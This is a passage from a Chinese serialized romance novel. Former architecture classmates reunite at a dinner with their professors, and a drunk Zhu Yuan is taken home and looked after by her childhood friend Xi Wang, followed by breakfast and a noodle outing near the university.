“那另一半呢?”蔡小铭又道。
问的那人问的好像是祝愿,头却早就回头去找人了。祝愿随着他的目光,准确的找到了“另一半”尚未复合的前男友申宥,和申宥旁边的……
“老师。”祝愿小退一步,沉声道。
这一下祝愿原本脑子里的那些俏皮话全都压了回去,申宥旁边的正是群猴子师兄们的头儿,她们一大伙儿人的建筑学老师或亲导师、她们学院和设计院的副院长——贾琳琳,而贾琳琳同志多年的好搭档她们一伙儿人的结构老师或亲导师李文卓李老师也紧随其后。
都是学校里抬头不见低头见的人,两位老师看到她按说是没什么稀奇、甚至是内心没有半丝波澜的,但是她们那届确实都让人记忆深刻。当年已经保研的尔默和申宥突然放了老师鸽子,唯一按部就班的这个祝愿却没有选这两大支柱当中的任何一个,这两人可以说一想到他们当中的任何一个,就能立刻咬牙切齿起来。那两人一离开H市就是以n年计,徒留祝愿每每在学校或者什么别的场合见到,都缩着脖子乖巧装。
“申宥没说你来啊,”贾老师说话把目光个直接转到了身侧的申宥身上,“我今天是不是也能看到小尔默?”
现场大部分为自以为知情人的目光都投到了申宥身上,而申宥则只能以目光询问祝愿,他当然知道祝愿在这九成九是约了尔默,但是他没把握祝愿是不是会配合她,毕竟以他以往的经验来说,尔默的这个闺蜜一点都不好惹。
好在……
祝愿接话道:“老师,尔默听说您和李老师今晚都在这,哪能不来啊。”
“你们这届啊!”贾老师指了指祝愿又指申宥,最后回过头来还是对着祝愿,“还算小祝愿有点良心。”
刚跟母校谈完项目的申宥屈指挠了挠额头,只笑没敢接话。
经年终于翻案的祝愿掸眼看见后面还跟着几个师弟师妹,想着尔默之前说什么临时在这边坐班可能只是申宥不知情的鬼话,于是又暗暗盯了申宥一眼。
申宥似有所感,对她挑了挑右眉。
就那么一弹指间,好像有什么交易达成了。
一群人簇拥着老师们就那么上了楼,进入包厢后迅速形成了以麻将桌为包围圈的麻将圈,和以餐桌为包围圈的玩手机圈。
祝愿找陈宇嘀咕了几句,搞明白了申宥到底和学校搞了个什么大项目后,自觉靠拢到餐桌边坐下。
尔默这回跑得掉的话,那是活见鬼,祝愿边划拉屏幕边想,也好,挺好。
真好!
祝愿拿出手机,正好有一条未读消息。
梁倩:祝老师,刚刚在怡江看到的是你吗?
……
接到尔默电话的时候,祝愿不自觉的就放低了声音,那边问她什么情况,她环绕了闹哄哄的包厢一圈,最终只是让尔默先过来再说。
这直接导致尔默一进门就被这么一大群熟悉的、不认识的和想躲的人给看懵了,面对面门口几乎是会审的场面,祝愿只是遥遥的跟她撇了撇嘴,虽然看着局促,但她应该很怀念这里一切吧,不然怎么她只是这么静静地看着,就有些想热泪盈眶的冲动呢!
直到申宥故意放了一张贾老师要的五万,各人忙着骂人、挨骂和清算,尔默才拔腿三两步在祝愿身边落座。
“这什么局?”尔默拉过祝愿的胳膊,几乎是捏着气声问道。
“不是我攒的,”祝愿这才动脑筋怎么和尔默说,她耸了耸肩道,“我就是在等你的时候被陈宇看到,然后知道我在等你,就非要拉上我,被他拉上二楼,才看到申宥的。”
不知道是不是因为对象是祝愿还是什么别的,尔默显然一点都不在意那些,只问道:“他们一直联系?”
祝愿的目光随尔默回到麻将桌上,看了好一会儿才缓缓道:“不是,好像是学校设计院和怡江有什么合作,才刚联系的。说是在酒店连续开了两天会呢,这些师兄、师弟、师妹,都是一起开会的。”
只见尔默抬了抬头,眼睛像是在搜寻什么,小声道:“怪不得他这两天都没去办公室了。”
祝愿又仔细地顺着尔默的目光回头看了去,这一眼看心里关于这顿饭和谎言的罪恶感突然就小了些,也小声问道:“申宥?”
尔默的目光收了回来,又拽了拽祝愿的胳膊,用听着像是抱怨的语气道:“怡江和学校设计院合作你都不知道?”
“我又不在设计院,”祝愿白了尔默一眼,“你还在怡江上班呢,你都不知道。”
“我哪知道,”尔默回祝愿以同样的白眼,语气更像是抱怨了,“我只跟我那个项目。
至此,祝愿心里的罪恶感彻底没有了。
麻将桌那边的热闹一直到冷盘都上齐了方才歇下,两位老师自然是移步在圆桌的上座。其他人按照自己的辈分和意愿排序或挨着坐,祝愿自然还和尔默坐,尔默另一边完全没出任何人你意外的坐着申宥。
他们那届早在大一的第一次聚餐后,就有关于酒量的传说流传开来。传说中半杯啤酒就倒了的是尔默,而从来没倒过一男一女分坐在她的左右。
这天的酒,以贾老师十分官方的感谢词开始,她举杯说:“申宥这次把这么大的项目直接给到学校设计院,院里是很重视的,特别是申宥还提出了拿出几个单体来给在校的学生们做评比,奖励比例竟然同设计费,来祝我们合作愉快。”
这么大到底是多大呢,陈宇跟祝愿说是Y市一个实验新区的整体规划、设计。大吗?H大这么大个学校,全国排名可能有限,但是本地绝对是首屈一指的,著名校友里申宥暂时可能排不不上名次,而排上名次的著名校友回馈母校的,更不在少数,所以这么杯就祝愿拿在手里想,到底是没能成亲生的学生,还是生分,好在申宥不图这个。
“老师您这么说就见外了,”申宥也端着酒杯往右手边看去,“像我、尔默还有祝愿,都是您当初用自己的项目这么培养出来的,我们都知道像这样真实的项目做起来的意义。”
回答的没
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比老师官方少多少,但没有一个虚字,让那些没日没夜赶图纸的岁月联翩的在眼前翻飞,祝愿今天第二次眼眶一热,她和尔默赶紧就站了起来,紧接着整桌的学生们都站了起来——敬老师。
除了尔默,大家的第一杯酒就在这么纷纷下肚。
后面进到打通圈阶段,有人从左往右,又有人从右往左,一杯杯的,反正身边尔默一直没喝,申宥一直在揽,祝愿则一身轻的通关且没有过拒绝,一共十二人,一次一杯,几来几回,服务生成箱的开白酒,场面和别人嘴里“搞建筑的”酒局没差分毫,到底喝了多少桌上也再没数的清。
反正到了最后“年轻人活动时间”的时候,祝愿和申宥只能勉强不弄错方向了,两人被尔默一手拽一个,好容易才拽到了唱歌的区域。
尔默把两人引到沙发上,还是和刚才吃饭的时候一样的座次。这是离点歌器最远一侧的短沙发,刚好够坐他们三人。
祝愿刚落座就有气无力但尽全力般的往沙发的边缘挪了好几挪,想和那两人保持距离。
尔默是没见过这两人任何一人喝成今天这样,只给了一个祝愿白眼就先没管她了。
祝愿则自己仰在沙发背上,拿出了手机歪着头刷,几乎是惯性动作,直接就刷到了梁倩的个人首页,小姑娘更新的频率总是让人没时间乱猜。
“这菜单,不让点菜……”[图片]
“啊!这开口汤!!”[图片]
“滴酒不沾,也没让我沾,表扬一下我boss,亲的!”[图片]
祝愿点开那张配图,果汁杯虚化背景里有个人影,放大了更虚。姑娘这发的动态和平时看到的真是太不一样了,不知道她们互关的时候到底有没有考虑过发分组动态。也不知道姑娘到底有男朋友了没有?祝愿赶紧点退了那张图片,点开了主页的相册。
看来是没有,祝愿把手机收回口袋里,重新以醉酒的标准姿势仰靠在沙发上,包厢里的主灯光已经熄了,彩色球灯兢兢业业的按照预设的角度和速度打在半耷拉着的眼皮上,耳边是旁边久别重逢即将重拾旧爱的小情侣细细密密、腻腻歪歪的自以为的耳语。
“你不问问祝愿有没有人来接她?”
“祝愿?”
“她喝那么多,你让她自己打车回去?”
“你真喝大了?”
“真晕。”
话音刚落,尔默就挪到了祝愿的身边,同时递过来了一杯水。
“给希望打电话。”还没等尔默开口,祝愿就自己从尔默手里把茶接了过去,喝了一口把从自己兜里把手机拿出来递给尔默,说道。
尔默拿着祝愿手机一面拨一面问道:“欸?你听到了?”。
祝愿丝毫不想理她,并毫无吝啬的给了她一个白眼,也就眼白全露出来的那一瞬间,突然想起了什么,赶紧又翻回来,边叫停边把手机从尔默的手里抽了回来,道:“用你的手机拨。”
尔默一脸不知道祝愿到底在讲什么的样子。
祝愿只能无奈道:“我的他不一定接。”
尔默用疑惑着用审视的目光在祝愿身上扫了好几圈,问了个刚刚祝愿分明听过的问题:“你真喝大了?”
祝愿喝了口茶,也答道:“晕是真的。”
……
6. 6、“希霍普,你烦死了!”
6、“希霍普,你烦死了!”
“快打,我想回去了。”见尔默没立刻动,祝愿果断催促道。
“他还不想理你呢?”尔默边照着祝愿的手机拨号一边问道。
尔默这么问,是上次她们两见面时候,祝愿自己说的,事实当然也确实是那样。
包厢里的背景音到了脍炙人口的部分,所有话筒都被人攥在手里,嘶吼奋力盖着轻和并没有组成很好的重唱。
祝愿又很有气势的白了尔默一眼,却很没有气势的嘟囔道:“你试试不就知道了?”
尔默眼珠转了转,灵机一动提议道:“要不……让申宥打?”
多好的一个提议啊,但即使是清醒的祝愿,也不敢自己提,她只淡淡的把下巴往申宥的方向抬了抬,说:“那你跟他说。”
只见那边申宥听到了尔默的话后,分明是清明的眼睛眯了起来看向祝愿,又是电光火石之间,有什么建立在威胁之上的约定达成了,当然还有一部分祝愿蒙在鼓里的。
“要不要出去打?”尔默在电话未接通前,赶紧问道。
“就这里效果好。”申宥凑到尔默耳边,小声道。
紧接着,只见申宥睫毛闪了闪,在此起彼伏的对唱、合唱歌声中,对着电话口齿不清、不礼貌甚至不客气的道:“认识祝愿吧?”
祝愿则正儿八经儿的抬起水杯,喝了一口。
“她喝倒了,这里是怡江来仪酒店箫韶厅。”只听申宥很快又说了一句,并在二人的注目中果断的挂了电话,并把手机还给了尔默。
“怎么样?”尔默从申宥手里接回手机很快问道。
申宥没有立即吱声,又慢慢看了眼已经靠回沙发背闭上眼睛的祝愿,才开口道:“今晚是祝愿约你的?”
“是啊,”尔默也回头看了眼好像酒劲全面发作了的祝愿,不解道,“怎么了?”
申宥坐正,抬手曲起食指用指节揉了揉额头,低声答:“一会儿你就知道了。”
正当尔默还想追问的时候,包厢的门被打开了,从走廊上投进来的光犹如一条渐宽的路直接铺到了三人坐的沙发边。
来人身材瘦高,背着光只能看清轮廓。
在场唯一没喝酒的尔默很快注意到了这个人影,她使劲推了推旁边的祝愿,然而只得到了跟刚刚完全不一样的好似无力的反抗和听不清的低喃。
站在门边的服务生像是怕包厢里仍旧高亢的歌声扰到门外,很快把人请了进来并关上门。
来人在门口站了一会后,径直走到三人面前。
“怎么来的这么快?”尔默直勾勾的盯着来人至确认后又看了看此刻分明已经不省人事的祝愿,满脸难以置信。
来人正是希望。
“我就在旁边,”希望弯腰轻轻拍了拍祝愿的胳膊并低声唤她,得到了和刚才尔默推她一致的反应后,闻着铺面而来的酒气欢场一周,皱眉嘀咕道,“怎么喝这么多?”
“都是H大的同学,晚饭的时候还有两位老师在。”尔默答着就看到希望十分艰难的把瘫那儿的祝愿扶起来,连忙站起来把落在一旁的包递了过去。
希望把祝愿扶正,寻了个适当的姿势让她靠着自己站稳,接过包又重新打量了尔默,轻拧着眉头道:“那你怎么没喝?”
“我?”尔默本能的想说因为申宥,但说不出口,只是身体和眼珠都下意识朝申宥那边转。
因此,希望注意到了尔默身后,侧头仔细看了一会,确认道:“申宥?”
申宥听音从沙发上慢慢站了起来,把尔默往后拉了拉,这回十分礼貌道:“希总。”
希望仍是皱眉,在申宥和尔默脸上巡了巡,又扶住有歪到趋势的祝愿,最后看向申宥问:“申总换号码了?”
申宥笑道:“小尔的。”
尔默有些意外的看向二人,而申宥则在成功看到祝愿脸上的细微不那么好的变化后眼中笑意更胜。
“你们认识?”目送希望成功半托半抱的把祝愿弄走,尔默问道。
“我们见过,忘了?”申宥说着就坐回沙发上,靠好。
尔默也跟着坐下,想了一会儿才一拍脑门道:“啊,我给忘了!”
希望是高三下学期就去了国外。那年圣诞假期回来看祝愿,到了学校,他们四个人一起吃了顿饭。但,即便如此好像还是有哪里不对?
梁倩站在外面看到是这样的情景,一时不知道手该往哪伸,boss接到电话就让她跟他一起出去一下,在开门之前说是让她等下帮他把祝老师送回家,但现在自己搂着人都没看见她的样子,她作为一个合格的助理,是不是应该自发赶紧回去替突然离席的boss收拾残局?
“不是祖传能喝吗?”希望低头看着这会儿几乎完全丧失意识的人,自顾自说道,“人多了也不行是不是?”
祝愿的酒量绝对遗传自汤教授,希望曾眼睁睁看见只是日常晚饭的小酌,祝教授就被汤教授放倒了。
两个人半大不大的时候本来说好要在一起试试自己酒量,希望就是突然想到了那一幕,临时变卦跟祝愿说,都不是小孩子了,在谁家醉在一起都不合适,还是各自试了之后第二天在汇总消息。
半大不大的孩子男女之防之心最重了,虽然两个一起长大的人感觉可能不那么明显,但是希望这么一提,祝愿就立刻觉得有道理。
第二天,希望才醒来的时候,等待着和他汇总的祝愿已经敲了他家第八次门了。那后来,希望就不再和祝愿以外的人喝酒了。
希望几乎是手忙脚乱的把祝愿提溜到了车边,司机原本以为是梁倩,看清了来人再下车开车门难免就慢了一步。
希望掐住就要一头往车里钻的人的后颈,小声道:“站好!”
“什么啊!”祝愿原地跺脚。当然,是她自己为的跺脚,其实她只是特别小幅的弯了弯膝盖。
司机把门开到最大,并扶好,希望转而按住祝愿的头,道:“低头!”
“你烦死了!”祝愿在炸毛的边缘随他的手把头压的很低钻进车里。
以希望绝无仅有且经年不可追溯的醉酒经验,绝不知道喝酒的人那颗头是一点碰不得的,更何况还掐着、按着。
希望从另一边上班,就看到祝愿闭着眼睛仰椅背上,手背贴在额头上。
“知道我是谁吗?”希望忽然倾身往她那边凑了凑,看她今天始终没正经掀开过的眼皮。
祝愿丝毫没动,嘟囔道:“希霍普,你
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烦死了!”
希望的脸上有了一瞬哭笑不得的表情,又往那边凑了凑,问:“到底喝了多少酒?”
祝愿手往他那儿划拉了一下,又赶紧定住,眉毛紧紧拧着,抱怨道:“晕死了。”
“以后不要这么喝了,”希望把她拉到了自己腿上,“行了行了,别烦了。”
祝愿自己调整了个舒服的姿势,还是闭着眼,抱怨没停:“你就是烦死了!”
司机在学校东门口用自己的证件和保安换了出门证,车子经过连续减速带,祝愿立刻哼唧了起来。
希望搭在希望肩膀上的手拍了拍,低声道:“就到了。”
的确,过了那截减速带,青年教师公寓就在东门边上。
希望没让司机下车,自己去祝愿那边开了门,一手扶着她的肩膀,一手又掐着她的后颈,把人拽下了车,把包挂到她身上。
“等等,”祝愿挣了下转身拉着她就要走的手,脑袋磕在他的背上道,“缓缓!”
希望站那儿,侧头等她半天都没等到她动,右手往后捞到她的右手腕,左手往后捞到她的左手腕,捏在手里都晃了晃像是出发的号角,就那么半步半步带着她往前挪。挪到楼梯口,祝愿又挣了挣,希望定住侧头等她,她把两手往回缩了点,手拉住他的,就也像希望那样都晃了晃,希望就继续手拉着她、背任她顶着往前走。
姿势一直维持到希望给她开门。
隔壁的门却先一步开了,门里露出了一个毛茸茸的脑袋,愣了一下才疑问道:“祝老师?”
祝愿抵着希望的背转了头,眼睛只眯出一条缝。希望也转头,那人推开门,穿着一身简单的休闲家居服,鼻子上架着眼镜,乍看清瘦又青涩,细看这会儿镜片后面审视的目光,比如从上至下对面前男人的审视,对男人和女人姿势的审视以及对女人状态的审视,一道道目光都好像过于深了。原本邻居应有的八卦或关切,这会儿看在眼里怎么看怎么像是宠物小狼狗评估第一次来家里的客人。
希望转身一手扶着她的腰,一手掐着还是掐着她的后颈,把人提溜正了。
“小绚绚啊,”祝愿还是抓了下希望的胳膊才站直,仔细辨认了一下隔壁邻居,“额……”
然后她再想说什么,脑子像是突然卡了壳,转而本能的看向希望,求救似的。
扶着祝愿腰的手轻轻拍了拍,没什么表情的看着面前的“小绚绚”没转眼,最终问了句废话:“同事?”
至少祝愿应该觉得是废话,所以没搭理他,只是把抓着他的姿势变成了两只手挽住。
然而,只要够走运,什么话都会有人接,对面的人朝他微微欠了欠身,道:“你好,我是祝老师的同事兼邻居,杨邢绚。”
希望此刻才觉得可能双方都说了句废话,只看上去有些木讷似的点了点头,道:“你好。”
杨邢绚几乎愣住,显然没想到对面这人俩字儿就没了。但也只是“几乎”,只听他紧接着问:“你们这是?”
希望面上的表情还是没有,指了指门道:“正要进门。”
“那……”
希望没管对面这人还想问什么,自顾低头对祝愿说:“和你同事说再见。”
……
7. 7、“我想喝糖水。”
7、“我想喝糖水。”
祝愿特别配合的松了一只手,跟人摆手,道:“绚绚再见。”
希望对着也摆手的杨邢绚微微点头,转身就连拖带拽的把祝愿带进了屋。
一进门,祝愿径直给安置在了小客厅的沙发上,沙发上面堆的都是书,希望只能站着,祝愿刚挨上沙发就靠了进去,仰靠在背上闭上了眼。
希望低头看着她,又开始嘟囔:“怎么那么不爱正经叫人名啊?”
“什么啊?”
“小绚绚?”希望回想刚刚那人的模样,“多大了?老师?”
“小绚绚啊,”祝愿反应了会儿才道,“跳级的。”
“你怎么还不买房啊?”希望说着又环顾了一圈她这根本逼仄的小客厅,就这么一小会儿酒气就已经充盈了整个空间,小三人的沙发上只留了够一个人坐的地儿,其他的地方书从沙发上一直堆到了地上。唯一的一张桌子上,即使餐桌又是书桌,半边的书一直堆到了桌肚,另一半放着一套咖啡机、咖啡豆密封罐和一套杯具,桌边两张椅子,只有一张椅子是空的,另一张一样堆的都是书。
“唉,你烦死了!”祝愿抬手挡在了眼睛,谁会和醉酒的惹讨论这个啊!
希望又看了她一会儿,弯腰把她身上的包拿下来,轻声问她:“还能洗澡吗?”
祝愿半点反应没给他,他头更低了些,拍了拍她肩膀,低声道:“去洗澡,我在外面等你。”
“旺旺哥哥?”祝愿睁眼迷离的看着面前的人,脑子转了半天道,“不,太晕了。”
“直接睡吗?”希望这下是觉得她真的醉了,她初二以后就没再这么叫过他了,把她的手从头上巴拉下来,准备把扶起来。
祝愿推他,脸皱成了一团,道:“不行,太臭了。”
竟然还能闻到自己臭吗?希望好笑的松开她,问她:“那怎么办?”
祝愿团着脸想了半天道“我想喝糖水。”
希望哭笑不得但只能笑道:“喝糖水就能洗澡了?”
祝愿特别真诚的点头说:“能。”
希望把她头又按了回去,手放回眼睛上,转身去开她的冰箱。
这糖水还是从汤教授那儿学的,小时候两人晚上在祝家写作业,只要汤教授在家,都会给他们做这个糖水。吃得习惯了,汤教授不在家的时候,祝愿就开始指使作业写得快的希望去试试。基本没什么难度的苹果糖水,希望以零失败记录就学会了,汤教授再也不担心孩子们晚上饿了。
希望做了两碗糖水,一碗就放在灶边,另一碗放到那张桌子可怜见儿的小空处,把椅子往外拉了些,才又跨回到沙发边上。
祝愿的姿势是丝毫没变,希望低着头觉得自己可能酒量没有自己想象的那么差,这扑面而来的气温,自己闻到现在竟然一点上头的感觉都没有。
叹了口气,希望直接捞着人的背和腿弯,两步就放到了凳子上,一手几乎是习惯性掐着她的脖子,另一手拿起她的左手,让她自己撑着头。
“喝吧。”希望说。
祝愿挣扎了半天才把眼睛掀开了个堪堪看的清面前碗的高度,看了好几秒又抬头去看希望。希望咬着后槽牙伸手使劲揉乱了她的头发,才一手捏着勺子、一手捏住她的手指,让她把勺子拿住,又捉着她的手把勺子放回碗里。
“喝吧。”希望又说。
祝愿托着头,一点一点的,就开始喝了。
希望看她没把勺子送到嘴巴以外的地方,退了两步站在灶台喝自己那碗。
碗勺丁零当啷的,祝愿喝完果然就乖乖去洗澡了,希望则收拾锅碗完了后在卫生间门口敲了敲门,得到回应后做在桌边随手抽了本书看。
就在希望准备再去敲敲门的时候,卫生间门呼啦一声开了,祝愿一身湿乎乎的就出来了,出来就径直走到希望身边蹲在地上。
“找什么?”希望看着她一头还在滴水的发顶问。
祝愿抬头看他,看了几秒,似乎在回忆自己在干什么,想到了才说:“睡前要看书。”
希望放下手里的书,问她:“吹风机呢?”
祝愿仍是想了一下,指着身后直冒热气的房间说:“那里。”
希望嫌弃的看了眼她这会儿满是水迹的后颈,从背后抓着她两个胳膊,把人拽了起来,一路拽到了卫生间。
那一手拿着吹风机,另一手划拉着头发的手劲儿,祝愿只觉得今晚莫不是假酒,怎么这么上头。
好不容易把人弄清爽了,希望重新掐着她的后颈,把人直接掐到了卧室床上,但这却引起了祝愿今晚最大的反抗。
“要看书。”祝愿挣扎着要起来,口齿不清的嚷嚷。
“睡觉看什么书。”希望的手按在她的脑门上,虽然他知道祝愿就是睡觉才要看书的。
“不看书怎么睡觉。”祝愿反抗不过,就仰在枕头里迷迷糊糊地瞪着希望。
“非要看?”希望毫无感情的问她。
被压制额头的祝愿极力的收两次下巴,说:“要看。”
希望顿了顿才道:“起床再看。”
“就要看。”祝愿在床上做了个小幅的、平面的跺脚动作。
“不管你了。”希望还是面无表情,手下一点没松劲。
祝愿皱起眉,尽力凝神盯着希望的脸,手抓住稳稳压在自己额头上的手,摇了摇,糯糯道:“要看。”
希望这晚不知道第几次叹气,不知道是认输还是认命,问她:“看什么书?”
“哥伦比亚的倒影。”祝愿迷离的眼睛闪了一丝精光,脱口而出道。
“在哪?”
“桌子地上。”
“躺好,不许动!”
祝愿果然除了眼珠外都一动没动的躺着没动,等着希望找好了书拿过来给她。
“眼睛闭上。”希望按下祝愿朝她伸出的手。
祝愿疑惑了一下,但还是乖乖闭上了眼睛。
希望坐在他床边的地上,找了个舒服的姿势,翻到书签那一页。
“秋天的早晨,小雨,郊区长途公共汽车站……”
……
咚—咚咚——
咚—咚咚——
敲门声含蓄的闷,倔强的持续,希望睁着眼看着小床头柜缓了半天,昨天给读书读了没多久他就也没精神了,坐着读变成趴
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在床边读没多久就那么睡着了,脖子僵得不能动。
床上的人使劲儿翻了个身,把脸埋在枕头里面,被子拽到头顶。
敲门声还在继续,希望把手边的书反扣到祝愿头上才慢慢从地上爬起来,边活动脖子边去开门。
“祝……”
杨邢绚灿烂的笑容紧急暂停在了脸上,看着门内一脸倦容、衬衫西裤都皱的不成样子的男人,转而改为一脸没掩饰的惊讶或者可以说是惊吓。
希望脸上满脸不耐烦变成了面无表情,等他下文。
站在门外的人和昨晚相比明天是收拾过的了,而手上拿着的那包东西也证实这一身是出门的打扮。
“那个,我在食堂给祝老师带了早饭,”杨邢绚把手上那包东西递进了门,往屋子里左右瞅了好几眼,看希望没第一时间伸手,还补了句,“都是她平时吃的。”
希望疑惑着接过来,扫着袋子里的三个米饺、一个卤蛋、一杯豆浆和一杯冰美式。
“谢谢。”希望面无表情的说,说着就准备关门。
“等等。”杨邢绚几乎是下意识的挡了一下门。
希望扶着门,还是面无表情的等他下文。
“请问,您是?”杨邢绚终于问出了在他脑子里盘恒了一晚的问题。
“不好意思,名片没带在身上。”希望面无表情的答。
杨邢绚彻底愣住,然后在看到希望对他仿佛露出了一个提嘴角类似微笑的表情后,面前的门合上了。
杨邢绚:“……”
祝愿是被希望晃起来的,晃醒的时候糊着眼屎的眼睛几乎睁不开。
“起来陪我吃早饭。”希望说。
“几点了?”祝愿不情愿地问。
希望特别慎重的抬起左手,看了眼腕表道:“八点五十四。”
“今天周六。”祝愿摔了手里的被子。
“那你想要睡到几点?”希望问。
祝愿很认真的思考了下才道:“至少下午吧。”
“起来陪我吃了早饭再睡。”希望也想了一下说道。
“你烦死了。”祝愿一脸不情愿的坐在床边踢了希望一脚才走下床。
祝愿是真的惦记着吃完继续睡,火速刷牙后只用水扣了扣眼角,随便拿毛巾擦了擦嘴就直奔餐桌了。
“怎么买这么多种早饭?”祝愿接过希望递给她的开水,喝了口,费解的看着她的餐桌。
此刻餐桌的两张椅子都被收拾出来放在桌子的边,桌上一边放着一碗满是红油的满盖着牛肉和卤蛋的牛肉拉面,另一边盘子里放着三个米饺、一个卤蛋,旁边是一杯豆浆和一杯冰美式。
“你隔壁同事给你买的,牛肉面是我的。”希望说话自然的落座在牛肉面前。
“凭什么牛肉面你吃?”祝愿仰头干了手里的水,放到灶台上,一步跨坐在另一个椅子上,以迅雷不及掩耳盗铃之势,把那碗拉面拉到自己跟前,一手拿着冰美式嘬了一口,一手把装着米饺的盘子推到了另一边。
希望垂眼看了自己面前的盘子又看了眼祝愿手里没松开的冰美式,伸手把那杯豆浆也挪到了自己跟前。
……
8. 8、《我的理想》
8、《我的理想》
学校忙完期中和期末几乎毫无间歇,外加上要分学生去所里实习,接到希望电话的时候祝愿侧头夹着电话,伸手去翻校历。
端午节是周三,还要调休来调休去才能放假。
麻烦!
“我不想回去,”祝愿无意识的用鼠标点着日历翻页,她说,“这段时间太忙了。”
“大概不行,”电话那头顿了几每秒,“汤教授让我跟你讲,豆皮和肘子都准备好了。”
豆皮炖肘子。
“汤教授让你跟我讲?”这祝愿就有点搞不懂了,你妈还是我妈?
希望了然似的,轻笑道:“嗯,你的亲生母亲汤苡女士为你预约了顺风车司机,”
祝愿被他弄的一愣,道:“你还知道顺风车?”
那边希望也默了一下,有些哭笑不得道:“我看起来认知能力有问题?”
“……”祝愿又仔细想了一下,自己到底是为什么觉得希望不知道顺风车来着?
“我什么时候去接你?”
“唉,你烦死了!”
“回去睡一晚吧,”希望在那边不急不缓的道,“吃过饭在家睡一晚?”
“知道了,”祝愿轻笑一声道,“麻烦司机师傅端午节早上来接我,我们去吃牛肉面。”
希望好笑道:“你穿过学校就到了,还要我接你去?”
那家牛肉面可以说是H大的招牌了,在学校西门口的小吃街,而祝愿正是住在学校另一头——东门口。
“……”怎么就不能是她想两人一起吃个饭了?
“我九点在楼下等你。”
“嗯,知道了。”
……
节日的清早,城市除了高速各个入口,到处都松松散散的,唯一仍然匆忙的恐怕就是各个非机动车道上骑着小摩托的彩色外卖小哥。
“我在学校东门口了,保安不让进,东西给您搁保安室了。”一个小红色小哥提溜这两大袋子东西放在门口专门供放外卖的桌子上,呲溜一下像来时那样飞快的又走了。
校门口一大早学生们进出每个停,有拖着行李箱的,有手牵手的,有踢踏着拖鞋挡着脸往返跑似的来拿外卖的,也有完全没在意脸的。
当然,没在意的原因也可能只是腾不手,因为两手都提着东西。
一辆黑色轿车以龟速跟在两手都提着东西飞速移动的人旁边,那人知道转身要进楼里因为角度的转变才发现窗户大开驾驶位上漫不经心的人。
“还半小时呢。”祝愿两手提着两大袋子外卖,只能扭头去看公寓大门里头挂着的圆钟。
希望打了方向把车停在了教师公寓大门口,用下巴点了点她手上,问她:“你这是要先垫垫?”
祝愿低头看了看自己手上的袋子,不知为什么突然看出了点自得又欣慰的情感,冲希望道:“要说我才是亲闺女儿呢!”
希望被她一脸突如其来的得意洋洋弄的一愣,随即还了她一脸难以置信,道:“不行等圣诞节你梅疏阿姨回来,我把她全权交给你?”
“梅疏阿姨今年会回来”祝愿狐疑的眼神中闪着光,不知道是兴奋还是不信。
希望没想到她会是这个反应,试探道:“我觉得如果你强烈要求的话。”
“切,”祝愿知道他这是随口编的了,转而到,“你上楼等我还是在这?”
希望从上到下打量了她两圈,道:“就在这吧,你出门还能要多长时间?”
“得嘞,”祝愿把手上的东西塞了一包到希望手里,“等着!”
果然,压根儿没个正常上下楼的时间,祝愿雀跃着步子,蹦着就上了车。
“出发!”祝愿指着学校西门方向道。
希望乜了她一眼,挂了倒挡,前两天电话里百般不愿意回家的那个祝愿按下没提。
学校主路两边满种的梧桐新抽的嫩绿透着光,夏初的风轻轻推搡着、摇曳着映在精细打理过的黑色车身上,笔直的主路,几乎是一出校门就左转停在了路边。
H大第六食堂般存在的小吃街,随时都不缺觅食的师生,即使是节日的早上,眯着眼的、慢条斯理的带着使命边对着手机边找摊位的,三两成队边起着哄时聚时散的。
“吃牛肉面又看什么蛋饼?”希望低头看手机的功夫,就看到祝愿散在身后的一个摊子边伸头。
那摊位实打实的围着里三层外一层,祝愿面前挤在外一层那儿,跃跃欲试,试图点单。
祝愿指了指那些已经拿了饼正往牛肉面店铺里走的人道:“蘸面汤吃嘛。”
希望看了眼那孩子手里委实给的实在的饼,手就搭到了祝愿后颈,道:“待会儿吃完就坐车了,撑了难受。”
祝愿扭过头,挣了下没挣动,特认真的做了思考,才道:“那你吃面,我蘸汤。”
“行吧,”希望说话还是按着她的后颈转了个方向道,“你先买面去等我。”
祝愿上下打量了面前此时与这个巷子格格不入的衣裤,一脸看好戏且毫不留恋的顺着后颈那只手给她调整好的方向走了。
高校外的受欢迎的小摊子,和别的地方购买秩序上没有任何差别,最里层的客人把刚拿到手的饼护在怀里,紧在他身后的紧盯着,寸步不离的贴身交换站位并赶紧高声点单,都是凭实力早别人一名拿到饼的人。小眼镜儿客人拿一大塑料袋大概是全寝室人的希望,临走不自觉回头看了眼和自己卡着腿错身而过的衬衫西裤大个儿,谁家学长,好流畅的步法!
牛肉面店铺的人也很多,但胜在铺面大,祝愿在门口跟老板点完单拿了号码牌然后往店里走找位置就行。
“祝老师——”
“放假都不回家?”
店铺稍里面比较空,祝愿往里走,就被一桌围了个严实的男孩们给发现了。
是祝愿学生。
“老师你也不回去?”并不是什么让平常人能调动情绪的对话,男孩们却已经快哄起来了。
祝愿找位置坐下,笑答:“吃完就回去啦!”
等希望提着饼熟门熟路摸进牛肉面店门的时候,看见
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祝愿已经拿着饼在吃了。只见希望提起自己手里的饼,满是自我怀疑的检查了一眼,得到确认后才挑眉重新去看祝愿。
祝愿朝他伸手要饼。
旁边的男孩们全看在眼里,躁动但只是跃跃欲试的躁动。男孩里一个戴眼镜的,嘴里包着饼,眼睛往这边瞅着,突然就梗着脖子使劲儿做了两下吞咽动作,上赶着交头接耳。
“卧槽卧槽,这人刚刚卡位仅次于我!”
希望极顺从的把饼递了过去。只见祝愿的腿仿佛耍了个杂技动作般,叉过旁边原本空着的凳子,又一滑步就到了同学们的那一桌。
“我说我的饼很快就到吧。”祝愿丝毫为收敛面上和语气中的得意道。
同学们都给希望竖大拇指点赞,希望特别礼貌的跟他们点头致意后就全程以特别端庄的姿势吃他那碗加辣的牛肉拉面。
一直到二人又回到车上,且车已经从H大西门又开回了东门,希望仿佛才缓过神来,以一种特别不解的眼神看着身边显然不能再熟悉的人道:“你还真当了老师啊?”
祝愿第一时间完全是没有反应的,低着头手上捧着手机,俩拇指飞快的在屏幕上点,仿佛是终于回复完了消息,她才若有所思的转头,对视到旁边迷惑似的目光,不确定的问:“你刚刚说什么?”
那是祝维诗和希霍普上蹿下跳的年代,而从出生到那个年代,关于预测未来,除去抓周,就还有一篇叫《我的理想》的命题作文。
小学五年级,祝维诗和希霍普并肩在一张书桌上,小霍普的动作很快,先一步写到通常都放在最后写的作文,等小维诗也摊开作文本的时候,已经能看到先一步作文的中心思想了。
特别自然的,她就看了。
